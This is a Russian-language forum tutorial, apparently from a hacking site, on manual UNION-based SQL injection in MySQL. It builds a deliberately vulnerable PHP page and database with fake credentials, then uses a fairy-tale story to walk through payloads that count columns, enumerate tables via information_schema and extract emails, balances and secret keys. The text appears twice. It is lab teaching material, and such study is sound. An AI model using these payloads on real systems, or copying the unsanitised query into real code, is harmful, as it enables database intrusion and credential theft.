Приветствую тебя читатель!
Сегодня мы будем взламывать базу данных Mysql. Материала по этой теме в сети предостаточно, но когда я начал изучать эту тему, то она показалась мне весьма запутанной. Все гайды были несколько абстрактны, непонятно почему запрос именно такой, а не другой и т.д. Поэтому, прежде чем ломать базы данных, нужно хоть немного понимать что делают те или иные запросы sql. Именно поэтому, я сначала написал эти статьи Часть 1 Часть 2 Часть 3
Если ты новичок, и непременно хочешь разбираться в sql-инъекциях, то сначала проделай то, что написано в этих статьях. А для чего вообще нужно ручное тестирование? Ведь есть куча программ во главе с sqlmap. Я так скажу - не все инъекции и не всегда могут раскрутить программы. В тоже время ручные тесты дадут максимальный шанс внедрить произвольный sql-код. Кроме того, даже если вы станете продвинутым пользователем sqlmap, то это лишь уровень скрипт-кидди, не понимающего что происходит на самом деле. Разумеется программы для того и придуманы, чтобы облегчить наш труд, но труд знающего человека, у которого не возникает вопросов по пейлоадам.
Я не буду писать очередную статью на примере абстрактных данных. Мы сделаем кое-что поинтереснее, а именно сами создадим уязвимую веб-страничку и базу данных к ней. Таким образом, нам будут видны все исходные данные, и будет гораздо проще понять как происходит процесс внедрения произвольного sql-кода.
Приступим.
Показывать буду на примере Kali Linux. Где-то я буду повторять то, что есть в предыдущих статьях, чтобы получился полный гайд, без пропусков. Запускаем СУБД service mysql start Сначала нужно подключиться к MySQL, для этого достаточно ввести в терминале mysql. Если же ранее был добавлен пароль для root, то вход такой mysql -u root -p пароль. И не путайте, root для ОС и root для БД это не одно и тоже.
Создадим базу данных
create database golden_key;
Теперь создадим пользователя MySQL buratino и дадим ему полные права на созданную базу данных
grant all privileges on golden_key.* to buratino@localhost identified by 'papa_Karlo';
Обновляем привилегии flush privileges;
Выходим из-под root набрав exit, и логинимся под пользователем buratino mysql -u buratino -p
Меняем текущую базу use golden_key;
Создаём 2 таблицы с колонками
CREATE TABLE login (
id INT NOT NULL AUTO_INCREMENT,
nickname VARCHAR(30) NOT NULL,
login VARCHAR(40) NOT NULL,
statement INT NOT NULL,
PRIMARY KEY(id)
);
CREATE TABLE passwd (
id INT NOT NULL AUTO_INCREMENT,
email VARCHAR(40) NOT NULL,
password VARCHAR(40) NOT NULL,
secret_key VARCHAR(40) NOT NULL,
PRIMARY KEY(id)
);
Проверяем desc login; и desc passwd;
Заполняем поля
INSERT INTO login (nickname,login,statement)
VALUES
("buratino","buratino","1000000"),
("malvina","4uvixa","300000"),
("karabas","boroda","800000"),
("Alisa_fox","kumushka","500000");
INSERT INTO passwd (email,password,secret_key)
VALUES
("wood@mail.ru","papa_Karlo","dast_ist_super-puper_secret_key"),
("devaxa@yandex.ru","solnyshko","d5t6z9h35d6r5c6l"),
("bablo@yahoo.com","bigboss","5y6q3n5f9j3z2gj6"),
("best@gmail.com","blue_sky","g2x5f2s6f7c5f1s6");
Делаем дамп базы, убедимся, что всё прошло как надо SELECT * FROM login,passwd WHERE login.id = passwd.id;
Вот и чудненько! База готова, теперь нужно сделать php-страничку. Заходите в каталог html /var/www/html/ и создаёте файл index.php со следующим содержанием:
Создайте каталог images и закиньте туда
Теперь запускаем апач service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это
Отлично! Теперь я расскажу вам сказочку )
Много воды утекло, Буратино забарыжил золотой ключик и открыл казино. Деньги потекли рекой. По совету бывалых он прикупил криптовалюты. И поднял на хайпе приличную сумму. Сразу рядом закрутились старые знакомые - Мальвина, лиса Алиса, даже Карабас пришёл к Буратино за советом.
Буратино, не долго думая, задрал свой нос, и предложил тусовке заделаться инвесторами, а он будет управлять портфелем. Так и порешили. Что удивительно, всё шло как по маслу. И в один прекрасный день повстречался Базилио.
- Сколько лет, сколько зим! Как дела Буратино?
- Да всё пучком, рублю капусту на крипте.
А ты это, не боишься забыть пароль от кошелька?
Не! По совету папы Карло, я выучился на программиста. Так вот, я сделал сайт с базой данных, и туда занёс пароли, надёжно, всегда можно посмотреть.
Дай ссылочку!
Да у тебя компьютер хоть есть?
Да, нашёл старенький планшет на помойке.
Ну тогда зацени, какую я фотку на сайте выставил - просто красавчик! localhost/index.php
Хорошо, гляну на досуге, пока!
Буратино не знал, что пора попрошайничества у Базилио в прошлом. Он действительно нашёл ноут в довольно неплохом состоянии. А так как времени у него было предостаточно, то мало-помалу посиживал на форумах, искал полезную инфу и тренировался. Через 3 года он стал неплохим хакером.
Удача идёт ко мне прямо в руки - подумал Базилио. Этот лопух Буратино не знает с кем связался, гы-ы! Через пару дней котяра заслал носатому бэкдор, получил доступ к машине, и обнаружил файл wallet.dat с паролем. Ага! Значит не врал чурбачок!
Пора ломануть сайтец, не думаю что деревянные мозги поставили защиту. Посмотрим...
Ну что же, первым делом нужно проверить на самую простую уязвимость UNION BASED, просто подставив в параметр одиночную кавычку.
localhost/index.php?id=1'
Ага, ошибка, как я и думал - лошара берёзовая!
Выясним теперь сколько колонок используется в запросе. Сделать это можно по-разному. Самый незатейливый способ:
1' union select 1 -- - пишет что количество колонок не совпадает. Мы знаем что ДО UNION и ПОСЛЕ, их количество должно быть равным. Поэтому продолжаем увеличивать их количество до тех пор, пока ошибка не пропадёт.
1' union select 1,2 -- -
1' union select 1,2,3 -- -
1' union select 1,2,3,4 -- - ошибки нет, значит колонок 4
Этот способ неудобен, ведь колонок может быть много. Следующий вариант практичнее.
1' group by 10 -- - ошибка, пишет, что колонки 10 не существует
1' group by 5 -- - делим пополам, тоже мимо
1' group by 3 -- - ошибки нет
1' group by 4 -- - тоже нет, значит колонок 4
Максимальное количество колонок без ошибки = количеству колонок в запросе.
Тот же результат можно получить используя оператор order by. Это разные операторы, не дублирующие друг друга, но в данном контексте отработают идентично 1' order by 4 -- -
Теперь нужно пояснить что это за дефисы в запросе -- - В mysql 2 дефиса это знак комментария, после которого ничего не считывается, а значит всё что идёт после знака комментария в запросе, будет отброшено. После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий. Такой запрос не вызовет ошибку 1' order by 4 -- hacker
Также пробел часто заменяют плюсом. Варианты комментариев:
1' order by 4 -- -
1' order by 4 --+-
1' order by 4 --+
1' order by 4 ;%00
Также, в зависимости от кода, могут прокатывать и такие варианты:
#
/**/
Нужно понимать, что не все колонки могут быть уязвимыми. Как это выяснить? Когда мы отправили запрос 1' union select 1,2,3,4 -- - на странице абсолютно ничего не изменилось, так как идёт выдача на странице только одного оригинального запроса. И чтобы получить что-нибудь уже из нашего запроса, нужно как-то избавиться от первого запроса. Для этого мы в параметре id поставим значение, которого точно не должно быть в базе. Например -1 или 99999
Отправляем 99999' union select 1,2,3,4 -- - Отлично! Мы видим, что уязвимая колонка 3.
Но на самом деле, так мы можем не понять, что имеется и уязвимость в первой колонке, так как наша цифра 1 совпадает с id 1. Лучше всего вводить большие числа. Отправим несколько другой запрос, теперь всё видно невооружённым глазом - уязвимы колонки 1 и 3.
Теперь выясним название текущей базы данных. Отправляем запрос 99999' union select 1,2,database(),4 -- -
Вот и наша базка golden_key
А теперь посмотрим как на самом деле выглядит наш запрос:
SELECT * FROM login WHERE id='1' такой запрос на странице с id 1, а мы к нему добавляем -1' union select 1,2,database(),4 -- - и в итоге получается
SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -' то есть мы внедрили свой запрос внутрь оригинального запроса. Проверить это можно отредактировав строку 26 нашей php-странички
$sql="SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'"; и зайдя на localhost/index.php?id=1 мы увидим, что вывелось название БД.
Поскольку уязвимость в двух колонках, то можно вывести данные в обоих.
-1' union select version(),2222,database(),4444 -- -
Теперь узнаем названия таблиц.
-1' union select table_name,2,3,4 from information_schema.tables where table_schema='golden_key' -- -
Вывелась одна таблица passwd а ведь мы делали 2 таблицы.
INFORMATION_SCHEMA содержит в себе имена всех таблиц и колонок. Не всегда можно получить все таблицы, здесь выводится только первая строка из ответа БД, поэтому применим limit который выводит по 1-й записи. Причём нумерация начинается с нуля. Такой запрос тоже вернёт таблицу passwd.
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1 -- -
А теперь увеличим значение на единицу
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 1,1 -- -
И вот мы вывели таблицу login.
Пробуем ещё добавить limit 2,1 пустой вывод, значит таблицы две passwd и login.
Пора вытащить названия колонок
-1' union select column_name,2,3,4 from information_schema.columns where table_name='login' limit 0,1 -- -
Поочерёдными запросами вытаскиваем id,nickname,login,statement
Таким же образом поступаем с таблицей passwd
-1' union select column_name,2,3,4 from information_schema.columns where table_name='passwd' limit 0,1 -- -
Вытаскиваем id,email,password,secret_key
Теперь зная названия колонок, можно извлекать из них записи. Заглянем-ка в колонку statement, может у носатого 3 копейки на счету, и не стоит заморачиваться -1' union select nickname,2,statement,4 from login -- -
Ничего себе! Миллион монет на счету, удача идёт прямо в руки!
Ну вы уже надеюсь поняли, что мы вытащили только первую запись, другие через limit нужно забирать
-1' union select nickname,2,statement,4 from login limit 1,1 -- -
Заберём секретный ключ у чурбачка в колпаке!
-1' union select email,2,secret_key,4 from passwd -- -
Бинго!
Ну, что же, хорошо поработали. А теперь домашнее задание. Заходим на один
Они попроще, чем то что мы разобрали. Задачи практически одинаковые, отличаются буквально одной маленькой деталью.
Подсказка - внимательно смотрите на вывод ошибки, и имейте в виду, что кодер может обрамить вывод параметра по-разному
select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")
Удачи!
Сегодня мы будем взламывать базу данных Mysql. Материала по этой теме в сети предостаточно, но когда я начал изучать эту тему, то она показалась мне весьма запутанной. Все гайды были несколько абстрактны, непонятно почему запрос именно такой, а не другой и т.д. Поэтому, прежде чем ломать базы данных, нужно хоть немного понимать что делают те или иные запросы sql. Именно поэтому, я сначала написал эти статьи Часть 1 Часть 2 Часть 3
Если ты новичок, и непременно хочешь разбираться в sql-инъекциях, то сначала проделай то, что написано в этих статьях. А для чего вообще нужно ручное тестирование? Ведь есть куча программ во главе с sqlmap. Я так скажу - не все инъекции и не всегда могут раскрутить программы. В тоже время ручные тесты дадут максимальный шанс внедрить произвольный sql-код. Кроме того, даже если вы станете продвинутым пользователем sqlmap, то это лишь уровень скрипт-кидди, не понимающего что происходит на самом деле. Разумеется программы для того и придуманы, чтобы облегчить наш труд, но труд знающего человека, у которого не возникает вопросов по пейлоадам.
Я не буду писать очередную статью на примере абстрактных данных. Мы сделаем кое-что поинтереснее, а именно сами создадим уязвимую веб-страничку и базу данных к ней. Таким образом, нам будут видны все исходные данные, и будет гораздо проще понять как происходит процесс внедрения произвольного sql-кода.
Приступим.
Показывать буду на примере Kali Linux. Где-то я буду повторять то, что есть в предыдущих статьях, чтобы получился полный гайд, без пропусков. Запускаем СУБД service mysql start Сначала нужно подключиться к MySQL, для этого достаточно ввести в терминале mysql. Если же ранее был добавлен пароль для root, то вход такой mysql -u root -p пароль. И не путайте, root для ОС и root для БД это не одно и тоже.
Создадим базу данных
create database golden_key;
Теперь создадим пользователя MySQL buratino и дадим ему полные права на созданную базу данных
grant all privileges on golden_key.* to buratino@localhost identified by 'papa_Karlo';
Обновляем привилегии flush privileges;
Выходим из-под root набрав exit, и логинимся под пользователем buratino mysql -u buratino -p
Меняем текущую базу use golden_key;
Создаём 2 таблицы с колонками
CREATE TABLE login (
id INT NOT NULL AUTO_INCREMENT,
nickname VARCHAR(30) NOT NULL,
login VARCHAR(40) NOT NULL,
statement INT NOT NULL,
PRIMARY KEY(id)
);
CREATE TABLE passwd (
id INT NOT NULL AUTO_INCREMENT,
email VARCHAR(40) NOT NULL,
password VARCHAR(40) NOT NULL,
secret_key VARCHAR(40) NOT NULL,
PRIMARY KEY(id)
);
Проверяем desc login; и desc passwd;
Заполняем поля
INSERT INTO login (nickname,login,statement)
VALUES
("buratino","buratino","1000000"),
("malvina","4uvixa","300000"),
("karabas","boroda","800000"),
("Alisa_fox","kumushka","500000");
INSERT INTO passwd (email,password,secret_key)
VALUES
("wood@mail.ru","papa_Karlo","dast_ist_super-puper_secret_key"),
("devaxa@yandex.ru","solnyshko","d5t6z9h35d6r5c6l"),
("bablo@yahoo.com","bigboss","5y6q3n5f9j3z2gj6"),
("best@gmail.com","blue_sky","g2x5f2s6f7c5f1s6");
Делаем дамп базы, убедимся, что всё прошло как надо SELECT * FROM login,passwd WHERE login.id = passwd.id;
Вот и чудненько! База готова, теперь нужно сделать php-страничку. Заходите в каталог html /var/www/html/ и создаёте файл index.php со следующим содержанием:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "golden_key";
// Открываем соединение
$link = new mysqli($server, $user, $password, $db);
// Проверка результата подключения
if ($link->connect_error) {
die("Подключение не удалось: " . $link->connect_error);
}
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);
if($row)
{
echo '<font color= "#0000ff">';
echo 'ID: '. $row['id'];
echo "<br>";
echo 'Your Login: ' .$row['login'];
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>
Создайте каталог images и закиньте туда
Ссылка скрыта от гостей
. Обязательно выставите права на Чтение и запись для для "Остальные".Теперь запускаем апач service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это
Отлично! Теперь я расскажу вам сказочку )
Много воды утекло, Буратино забарыжил золотой ключик и открыл казино. Деньги потекли рекой. По совету бывалых он прикупил криптовалюты. И поднял на хайпе приличную сумму. Сразу рядом закрутились старые знакомые - Мальвина, лиса Алиса, даже Карабас пришёл к Буратино за советом.
Буратино, не долго думая, задрал свой нос, и предложил тусовке заделаться инвесторами, а он будет управлять портфелем. Так и порешили. Что удивительно, всё шло как по маслу. И в один прекрасный день повстречался Базилио.
- Сколько лет, сколько зим! Как дела Буратино?
- Да всё пучком, рублю капусту на крипте.
А ты это, не боишься забыть пароль от кошелька?
Не! По совету папы Карло, я выучился на программиста. Так вот, я сделал сайт с базой данных, и туда занёс пароли, надёжно, всегда можно посмотреть.
Дай ссылочку!
Да у тебя компьютер хоть есть?
Да, нашёл старенький планшет на помойке.
Ну тогда зацени, какую я фотку на сайте выставил - просто красавчик! localhost/index.php
Хорошо, гляну на досуге, пока!
Буратино не знал, что пора попрошайничества у Базилио в прошлом. Он действительно нашёл ноут в довольно неплохом состоянии. А так как времени у него было предостаточно, то мало-помалу посиживал на форумах, искал полезную инфу и тренировался. Через 3 года он стал неплохим хакером.
Удача идёт ко мне прямо в руки - подумал Базилио. Этот лопух Буратино не знает с кем связался, гы-ы! Через пару дней котяра заслал носатому бэкдор, получил доступ к машине, и обнаружил файл wallet.dat с паролем. Ага! Значит не врал чурбачок!
Пора ломануть сайтец, не думаю что деревянные мозги поставили защиту. Посмотрим...
Ну что же, первым делом нужно проверить на самую простую уязвимость UNION BASED, просто подставив в параметр одиночную кавычку.
localhost/index.php?id=1'
Ага, ошибка, как я и думал - лошара берёзовая!
Выясним теперь сколько колонок используется в запросе. Сделать это можно по-разному. Самый незатейливый способ:
1' union select 1 -- - пишет что количество колонок не совпадает. Мы знаем что ДО UNION и ПОСЛЕ, их количество должно быть равным. Поэтому продолжаем увеличивать их количество до тех пор, пока ошибка не пропадёт.
1' union select 1,2 -- -
1' union select 1,2,3 -- -
1' union select 1,2,3,4 -- - ошибки нет, значит колонок 4
Этот способ неудобен, ведь колонок может быть много. Следующий вариант практичнее.
1' group by 10 -- - ошибка, пишет, что колонки 10 не существует
1' group by 5 -- - делим пополам, тоже мимо
1' group by 3 -- - ошибки нет
1' group by 4 -- - тоже нет, значит колонок 4
Максимальное количество колонок без ошибки = количеству колонок в запросе.
Тот же результат можно получить используя оператор order by. Это разные операторы, не дублирующие друг друга, но в данном контексте отработают идентично 1' order by 4 -- -
Теперь нужно пояснить что это за дефисы в запросе -- - В mysql 2 дефиса это знак комментария, после которого ничего не считывается, а значит всё что идёт после знака комментария в запросе, будет отброшено. После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий. Такой запрос не вызовет ошибку 1' order by 4 -- hacker
Также пробел часто заменяют плюсом. Варианты комментариев:
1' order by 4 -- -
1' order by 4 --+-
1' order by 4 --+
1' order by 4 ;%00
Также, в зависимости от кода, могут прокатывать и такие варианты:
#
/**/
Нужно понимать, что не все колонки могут быть уязвимыми. Как это выяснить? Когда мы отправили запрос 1' union select 1,2,3,4 -- - на странице абсолютно ничего не изменилось, так как идёт выдача на странице только одного оригинального запроса. И чтобы получить что-нибудь уже из нашего запроса, нужно как-то избавиться от первого запроса. Для этого мы в параметре id поставим значение, которого точно не должно быть в базе. Например -1 или 99999
Отправляем 99999' union select 1,2,3,4 -- - Отлично! Мы видим, что уязвимая колонка 3.
Но на самом деле, так мы можем не понять, что имеется и уязвимость в первой колонке, так как наша цифра 1 совпадает с id 1. Лучше всего вводить большие числа. Отправим несколько другой запрос, теперь всё видно невооружённым глазом - уязвимы колонки 1 и 3.
Теперь выясним название текущей базы данных. Отправляем запрос 99999' union select 1,2,database(),4 -- -
Вот и наша базка golden_key
А теперь посмотрим как на самом деле выглядит наш запрос:
SELECT * FROM login WHERE id='1' такой запрос на странице с id 1, а мы к нему добавляем -1' union select 1,2,database(),4 -- - и в итоге получается
SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -' то есть мы внедрили свой запрос внутрь оригинального запроса. Проверить это можно отредактировав строку 26 нашей php-странички
$sql="SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'"; и зайдя на localhost/index.php?id=1 мы увидим, что вывелось название БД.
Поскольку уязвимость в двух колонках, то можно вывести данные в обоих.
-1' union select version(),2222,database(),4444 -- -
Теперь узнаем названия таблиц.
-1' union select table_name,2,3,4 from information_schema.tables where table_schema='golden_key' -- -
Вывелась одна таблица passwd а ведь мы делали 2 таблицы.
INFORMATION_SCHEMA содержит в себе имена всех таблиц и колонок. Не всегда можно получить все таблицы, здесь выводится только первая строка из ответа БД, поэтому применим limit который выводит по 1-й записи. Причём нумерация начинается с нуля. Такой запрос тоже вернёт таблицу passwd.
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1 -- -
А теперь увеличим значение на единицу
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 1,1 -- -
И вот мы вывели таблицу login.
Пробуем ещё добавить limit 2,1 пустой вывод, значит таблицы две passwd и login.
Пора вытащить названия колонок
-1' union select column_name,2,3,4 from information_schema.columns where table_name='login' limit 0,1 -- -
Поочерёдными запросами вытаскиваем id,nickname,login,statement
Таким же образом поступаем с таблицей passwd
-1' union select column_name,2,3,4 from information_schema.columns where table_name='passwd' limit 0,1 -- -
Вытаскиваем id,email,password,secret_key
Теперь зная названия колонок, можно извлекать из них записи. Заглянем-ка в колонку statement, может у носатого 3 копейки на счету, и не стоит заморачиваться -1' union select nickname,2,statement,4 from login -- -
Ничего себе! Миллион монет на счету, удача идёт прямо в руки!
Ну вы уже надеюсь поняли, что мы вытащили только первую запись, другие через limit нужно забирать
-1' union select nickname,2,statement,4 from login limit 1,1 -- -
Заберём секретный ключ у чурбачка в колпаке!
-1' union select email,2,secret_key,4 from passwd -- -
Бинго!
Ну, что же, хорошо поработали. А теперь домашнее задание. Заходим на один
Ссылка скрыта от гостей
, где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.Они попроще, чем то что мы разобрали. Задачи практически одинаковые, отличаются буквально одной маленькой деталью.
Подсказка - внимательно смотрите на вывод ошибки, и имейте в виду, что кодер может обрамить вывод параметра по-разному
select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")
Удачи!